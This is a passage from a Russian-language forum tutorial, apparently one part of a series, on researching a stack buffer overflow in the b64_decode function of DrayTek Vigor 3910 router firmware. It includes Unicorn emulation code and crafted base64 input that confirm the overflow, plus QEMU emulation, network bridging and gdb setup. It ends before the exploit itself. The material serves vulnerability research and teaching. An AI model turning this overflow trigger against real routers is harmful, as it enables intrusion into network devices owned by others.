load_address, address_String_encoded и address_String_decoded - произвольные. Адрес загрузки можно брать любой, но в этом случае нужно учитывать что это влияет на адреса начала и конца функций. В данном случае смещения для b64_decode и safe_strlen взяты для версии 3.9.6.Далее проинициализируем Unicorn:
Python:
mu = load_unicorn()
Python:
def load_routine():
fw = open("bins/cut_sohod64.bin", "rb")
firmware = fw.read(0x1e18b7f)
return firmware
def load_unicorn():
mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM)
sohod64 = load_routine()
mu.mem_map(load_address, 40*1024*1024) # Binary mapping
mu.mem_map(stack_base, stack_size) # Stack mapping
mu.reg_write(UC_ARM64_REG_SP, stack_base +
stack_size//2) # Set a stack pointer
mu.mem_write(stack_base, b"\x00"*stack_size) # Nulling stack
mu.mem_write(load_address, sohod64)
return mu
Следующий шаг - запуск:
Python:
decrypted_string = run(mu)
Python:
def run(mu):
# Mapping place for string
mu.mem_map(address_String_encoded, 2*1024*1024)
# Writing encoded string
mu.mem_write(address_String_encoded, String_encoded)
# Setting registers
mu.reg_write(UC_ARM64_REG_W0, address_String_encoded) # data
mu.reg_write(UC_ARM64_REG_W1, address_String_decoded) # dst
mu.reg_write(UC_ARM64_REG_W2, expected_len) # len
# Hook safe_strlen, coz it just return constant value
mu.hook_add(UC_HOOK_CODE, hook_code)
try:
mu.emu_start(b64_decode_start, b64_decode_end)
except Exception as e:
print("[!] Emulation error: ")
print(e)
print("[*] IP: 0x{:x}".format(mu.reg_read(UC_ARM64_REG_PC)))
quit()
decrypted_String = mu.mem_read(address_String_decoded, expected_len)
return decrypted_String
Здесь мы выделяем память для исходной строки, и сразу же записываем её туда. Далее устанавливаем регистры с аргументами для функции. В A64 аргументы передаются в регистрах w0-w7, по порядку. В нашем случае, так как мы будем вызывать не cgiWebLogin целиком, а только b64_decode, аргументы будут следуюшие:
- Указатель на исходную, закодированную в base64 строку
- Указатель на буфер, в который будет записанна декодированная строка
- Длинна исходной строки
Python:
def hook_code(mu, address, size, user_data):
if address == safe_strlen_address:
print("[*] Reached safe_strlen")
# Just returning encoded string len
mu.reg_write(UC_ARM64_REG_W0, len(String_encoded))
mu.reg_write(UC_ARM64_REG_PC, safe_strlen_end) # and skip the function
Следующим шагом в блоке
try/exept я запускаю эмуляцию, указывая начальный и конечный адрес выполнения(b64_decode_start и b64_decode_end):
Python:
try:
mu.emu_start(b64_decode_start, b64_decode_end)
except Exception as e:
print("[!] Emulation error: ")
print(e)
print("[*] IP: 0x{:x}".format(mu.reg_read(UC_ARM64_REG_PC)))
quit()
После выполнения, я просто читаю адрес памяти в который функция должна была записывать итоговую строку и возвращаю прочитанное. А после - вывожу в консоль память в буфере и после него:
Python:
print("\n----> Source buffer: ")
source_buffer = mu.mem_read(address_String_encoded, len(String_encoded))
print(source_buffer)
print("\n----> Target Buffer: ")
print(decrypted_string)
print("\n----> Memory after buffer: ")
# Printing the memory out of buffer
afterbuffer_mem = mu.mem_read(address_String_decoded+expected_len, output_size)
print(afterbuffer_mem)
Eсли вы обратили внимание, в коде используется библиотека
udbserver, она нужна для отладки исполняемого в unicorn engine файла. Если вы используете Linux и хотите посмотреть на происходящее через отладчик - просто раскоментируйте нужные строки. Они откроют порт 1234, к которому можно будет подключиться с помощью gdb-mutiarch. Но об отладке позже.И так, перейдём к сути. Вот подсчёт нужного количества знаков '=' для успешного переполнения буфера на стеке:
Python:
# Here is the decoded string
String_decoded = 'a'*0x54 + 'b'*0x20
# Here is the number of qual signs
n = (len(String_decoded) - 0x54) * 4 # math
quals = '='*n
После исполнения скрипта, мы получаем следующее:
Код:
[*] Emulating vulnerable function in sohod64.bin
[*] Encoded string len: 11c
[*] Reached safe_strlen
[*] Reached safe_strlen
[+] Emulation returned:
----> Source buffer:
bytearray(b'YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmI=================================================================================================================================')
----> Target Buffer:
bytearray(b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
----> Memory after buffer:
bytearray(b'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb')
Отлично, наличие уязвимости подверждено!
Эмуляция
Следующий вопрос которым необходимо озаботится перед тем как приступать к написанию эксплойта - эмуляция прошивки. В этом смысле перед нами стоит не сложная задача(на первый взгляд). Ведь sohod64.bin и так эмулируется в qemu, стоит просто запустить qemu и всё?
Всё не так просто.
Кастомный qemu
Дело в том, что для запуска sohod64.bin, Vigor 3910 использует кастомную версию Qemu. Это можно понять если заглянуть в один из файлов внутри папки firmware:
На это указывает флаг -dtb DrayTek.
Где же нам взять этот Qemu? Всё просто, в gpl репозитории разработчика
И вот тут мы возращаемся к вопросу, который я оставил ещё в самом начале статьи. Почему именно Ubuntu 16.04? Всё дело в том что у меня не получилось собрать этот кастомный qemu в более новых версиях Ubuntu. Я не буду вдаваться в подробности, если хотите - можете сами попробовать собрать его в другой Ubuntu. Для остальных, кто хочет превентивно избавиться от проблем - ставьте виртуалку с Ubuntu 16.04 и собирайте со спокойной душой.
Вот команды для сбора:
Bash:
cd qemu-2.12.1/
./configure --target-list="aarch64-softmmu,aarch64-linux-user"
make
sudo make install
Переписываем скрипт для запуска
Для запуска sohod64 с кастомным билдом qemu, я написал следующий скрипт:
Bash:
#!/bin/bash
# Some options
gdb_serial_option=
gdb_remote_option="-s"
log_path="../var/log/drayos"
serial_option="-chardev socket,id=char0,mux=on,port=8888,host=127.0.0.1,telnet,server,nowait,logfile=${log_path}/logpipe,logappend=on -serial chardev:char0"
changable_lanwan_path="./changable_lanwan"
rangen() {
printf "%02x" `shuf -i 1-255 -n 1`
}
wan_mac(){
idx=$1
printf "%02x\n" $((0x${C}+0x$idx)) | tail -c 3 # 3 = 2 digit + 1 terminating character
}
if [ ! -p serial0 ]; then
mkfifo serial0
fi
if [ ! -p serial1 ]; then
mkfifo serial1
fi
platform_path="./platform"
echo "x86" > $platform_path
enable_kvm_path="./enable_kvm"
echo "kvm" > $enable_kvm_path
cfg_path="/cfg/draycfg.cfg"
GCI_PATH="./app/gci"
GCI_FAIL="./app/gci_exp_fail"
GDEF_FILE="$GCI_PATH/draycfg.def"
GEXP_FLAG="$GCI_PATH/EXP_FLAG"
GEXP_FILE="$GCI_PATH/draycfg.exp"
GDEF_FILE_ADDR="0x4de0000"
GEXP_FLAG_ADDR="0x55e0000"
GEXP_FILE_ADDR="0x55e0010"
echo "kyrofang" > $GDEF_FILE
echo "0#" > $GEXP_FLAG
echo "19831026" > $GEXP_FILE
echo "n" > $changable_lanwan_path
uffs_folder="../data/uffs"
uffs_flash="${uffs_folder}/v3910_ram_flash.bin"
mkdir -p ${uffs_folder}
if [ ! -f $uffs_flash ];then
touch $uffs_flash
fi
A=$(rangen); B=$(rangen); C=$(rangen);
LAN_MAC="00:1d:aa:aa:bb:cc"
WAN_MAC="00:1d:aa:aa:bb:cd"
echo "0" > memsize
if [ ! -f $cfg_path ];then
cfg_path="./magic_file"
fi
(sleep 80 && ethtool -K qemu-lan tx off)&
qemu-system-aarch64 -M virt,gic_version=3 -cpu cortex-a57 -m 1024 \
-kernel ./vqemu/sohod64.bin $serial_option -dtb DrayTek \
-nographic $gdb_serial_option $gdb_remote_option \
-device virtio-net-pci,netdev=network-lan,mac=${LAN_MAC} \
-netdev tap,id=network-lan,ifname=qemu-lan,script=no,downscript=no \
-device virtio-net-pci,netdev=network-wan,mac=${WAN_MAC} \
-netdev tap,id=network-wan,ifname=qemu-wan,script=no,downscript=no \
-device virtio-serial-pci -chardev pipe,id=ch0,path=serial0 \
-device virtserialport,chardev=ch0,name=serial0 \
-device virtio-serial-pci -chardev pipe,id=ch1,path=serial1 \
-device virtserialport,chardev=ch1,name=serial1 \
-monitor telnet:127.0.0.1:7777,server,nowait \
-device loader,file=$platform_path,addr=0x25fff0 \
-device loader,file=$cfg_path,addr=0x260000 \
-device loader,file=$enable_kvm_path,addr=0x25ffe0 \
-device loader,file=$uffs_flash,addr=0x00be0000 \
-device loader,file=memsize,addr=0x25ff67 \
-device loader,file=$GDEF_FILE,addr=$GDEF_FILE_ADDR \
-device loader,file=$GEXP_FLAG,addr=$GEXP_FLAG_ADDR \
-device loader,file=$GEXP_FILE,addr=$GEXP_FILE_ADDR \
-device loader,file=$changable_lanwan_path,addr=0x25ff69
Выглядит не просто, однако вдаваться в подробности нам сейчас ни к чему. По сути это сборная солянка из разных файлов внутри папки firmware. Просто сохраните этот файл в папку firmware к остальным скриптам.
Для запуска, помимо переписанного скрипта, нам понадобиться следующее:
- Создать папки
app/иapp/gci/в директории файловой системы - Создать именнованый канал logpipe. Без него файл не запустится. Сделать это можно следующей командой:
Python:
mkfifo var/log/drayos/logpipe
Вот и всё, осталось запустить. Порядок следующий:
- Запускаем наш скрипт для запуска из под sudo
- В отдельном окне терминала запускаем команду:
cat var/log/drayos/logpipe - Консоль доступна через telnet:
telnet 127.0.0.1 8888
Если в ней будет появляться что-то ещё - не пугайтесь, это нормально.
Доступ к web-морде
Следующий важный вопрос который нужно затронуть - web-интерфейс. Чтобы получить доступ к web-панели, нам придётся немного поиграться с сетью. Ради вашего и своего удобства я написал скрипт для настройки, всё что нужно в нём поменять, это заменить поле
$netdevice$ на имя вашего сетевого интерфейса:
Bash:
ip link add br-lan type bridge
ip tuntap add qemu-lan mode tap
brctl addif br-lan $netdevice$
brctl addif br-lan qemu-lan
ip addr flush dev $netdevice$
ifconfig br-lan 192.168.1.2
ifconfig br-lan up
ifconfig qemu-lan up
ifconfig $netdevice$ up
ip link add br-wan type bridge
ip tuntap add qemu-wan mode tap
brctl addif br-wan qemu-wan
ifconfig br-lan 192.168.1.2
ifconfig br-wan up
ifconfig qemu-wan up
ethtool -K $netdevice$ gro off
ethtool -K br-lan tx off
Также учтите, что после запуска скрипта на виртуалке пропадёт соединение, чтобы этого избежать, просто создайте второй интерфейс.
Скрипт нужно запускать Перед запуском скрипта с qemu! После этого web панель будет доступна по адресу
https://192.168.1.1/weblogin.htmВыглядеть это будет примерно так:
Отладка с gdb-multiarch
И последнее, перед тем как приступать к написанию эксплойта, нужно разобраться с отладчиком. В качестве инструмента отладки мы будем использовать консольный
gdb-multiarch.Инструмент ставиться простой командой:
Bash:
sudo apt-get install gdb-multiarch
После запуска эмуляции с qemu, подключиться к sohod64.bin можно будет следющей коммандой:
Для удобства изменим интерфейс коммандой:
Bash:
set layout asm
Если вы не умеете пользоваться gdb, то вот список комманд
Сегодня нам пригодяться не многие из них. Вот основные:
Вывести список регистров:
Bash:
i r
Вывести список брейкпоинтов:
Bash:
i b
Установить брейкпоинт на адрес:
Bash:
b *0xdeadbeef
Прочитать строку по адресу:
Bash:
x/s 0xdeadbeef
Прочитать байты по адресу:
Bash:
x/10x 0xdeadbeef
Прочитать байты по адресу хранящемуся в регистре:
Bash:
x/10x $sp
Продолжить исплнение программы:
Bash:
c
Шаг в исполнении:
Bash:
si
Продолжение в посте ниже